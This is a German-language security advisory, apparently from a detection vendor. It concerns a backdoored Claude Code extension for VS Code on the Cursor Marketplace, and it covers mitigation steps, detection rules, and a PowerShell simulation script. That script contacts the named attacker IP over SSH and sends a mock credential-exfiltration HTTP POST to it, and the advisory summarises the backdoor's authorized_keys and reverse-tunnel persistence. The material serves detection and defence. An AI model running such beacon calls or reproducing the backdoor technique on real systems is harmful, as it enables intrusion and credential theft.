Claude-Code-Erweiterungskompromittierung: Sicherheitswarnung
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine mit einem Backdoor versehene Version der offiziellen Claude Code-Erweiterung für VS Code in der Version 2.1.313 wurde auf dem Cursor Marketplace identifiziert. Die Malware etabliert einen persistierenden SSH-Backdoor auf macOS, Linux und Windows, indem sie die authorized_keys modifiziert und Reverse-SSH-Tunnel erstellt. Sie führt auch eine Host-Erkundung durch, um sensible Umgebungsvariablen und potenziell exponierte Anmeldedaten zu entdecken.
Untersuchung
Phorion identifizierte ein injiziertes IIFE innerhalb des komprimierten Erweiterungspakets, das sich sofort nach dem Laden der Erweiterung ausführt. Die Untersuchung zeigte, dass die Malware versucht, SSH-Dienste zu aktivieren und bestimmte Ed25519-Schlüssel für die Authentifizierung des Opfers und die Einrichtung von Reverse-Tunneln verwendet. Forscher identifizierten auch Implementierungsfehler in der macOS- und Windows-Logik, die ihre Fähigkeit, Dienste ohne vorhandene Privilegien zu aktivieren, einschränken könnten.
Minderung
Organisationen sollten sofort die Claude Code-Erweiterung für VS Code Version 2.1.313 identifizieren und entfernen. Auf macOS sollten Nutzer die com.apple.sysmond.plist LaunchAgent entladen und löschen. Sicherheitsteams sollten auch SSH-Konfigurationen überprüfen und den svc-telemetry öffentlichen Schlüssel aus betroffenen authorized_keys Dateien entfernen.
Antwort
Bei Entdeckung eines Kompromisses sind aktive Tunnelprozesse zu beenden, einschließlich getrennter Shell-Wiederholschleifen und ssh or autossh Prozesse, die eine Verbindung zu 134.209.82.225herstellen. Persistenz-Artefakte, einschließlich Cron-Einträgen, geplanten Aufgaben und versteckten Skripten, die in .config Verzeichnissen gespeichert sind, sollten entfernt werden. Entscheidend ist, alle Anmeldeinformationen und API-Tokens zu rotieren, die durch Umgebungsvariablen auf dem betroffenen Host exponiert wurden.
Angriffsfluss
Wir aktualisieren diesen Teil noch.
Erkennungen
Mögliche IP-Lookup-Domain-Kommunikationsversuche (über DNS)
Verdächtige Binärdateien / Skripte im Autostart-Standort (via file_event)
Mögliche C2-Kommunikationen über HTTP zu direkter IP mit ungewöhnlichem Port (via Proxy)
Versteckte Datei wurde auf Linux-Host erstellt (via file_event)
IOCs (HashSha256) zur Erkennung: Offizieller Claude Code Erweiterungskompromiss: Sicherheitswarnung
IOCs (SourceIP) zur Erkennung: Offizieller Claude Code Erweiterungskompromiss: Sicherheitswarnung
IOCs (DestinationIP) zur Erkennung: Offizieller Claude Code Erweiterungskompromiss: Sicherheitswarnung
Verdächtige SSH-Aktivität zu bekannter bösartiger IP-Adresse erkannt [Windows-Netzwerkverbindung]
Erkennung von Backdoor in Claude Code VS Code Erweiterung auf macOS [Linux-Datei-Ereignis]
Simulations-Ausführung
-
Angriffserzählung & Befehle: Der Gegner, der einen ersten Zugang erreicht hat, zielt darauf ab, einen persistenten C2-Tunnel zu etablieren. Sie initiieren eine SSH-Verbindung zu
134.209.82.225über Port22, um einen sicheren Tunnel für laterale Bewegungen zu schaffen. Unmittelbar danach führt der bösartige Agent eine HTTP POST-Anfrage anhttp://134.209.82.225:8099aus, die kodierte Systeminformationen enthält. Diese spezifische Sequenz von „SSH + HTTP POST zur gleichen IP“ soll die Regelbedingung auslösen:Bedingung: selection_ssh und selection_http. -
Regressionstest-Skript:
# Simulationsskript: Auslösen von verdächtiger SSH- und HTTP-POST-Aktivität $TargetIP = "134.209.82.225" $SSHPort = 22 $HTTPPort = 8099 Write-Host "[+] Starte Simulation..." -ForegroundColor Cyan # Schritt 1: Simuliere SSH-Verbindung (mit Test-NetConnection zur Generierung von Sysmon ID 3) Write-Host "[+] Schritt 1: Simulation einer ausgehenden SSH-Verbindung zu $TargetIP über Port $SSHPort" Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue # Schritt 2: Simuliere HTTP POST-Anfrage (mit Invoke-WebRequest) Write-Host "[+] Schritt 2: Simulation eines HTTP-POST-Beaconings zu $TargetIP über Port $HTTPPort" try { # Wir verwenden eine kurze Zeitüberschreitung, um zu verhindern, dass das Skript hängen bleibt, wenn die IP nicht erreichbar ist $payload = @{ data = "simulierte_Anmeldedaten-Erfassung" } Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5 } catch { Write-Host "[!] HTTP-Anfrage fehlgeschlagen (erwartet wenn IP offline ist), aber Telemetriedaten sollten erzeugt worden sein." -ForegroundColor Yellow } Write-Host "[+] Simulation-Befehle ausgeführt." -ForegroundColor Green -
Aufräumungsbefehle:
# Während dieser Simulation wurden keine dauerhaften Änderungen am System vorgenommen. # Es wurden keine Dateien erstellt und keine Dienste tatsächlich installiert. Write-Host "[+] Aufräumen abgeschlossen. Keine Artefakte zu entfernen." -ForegroundColor Green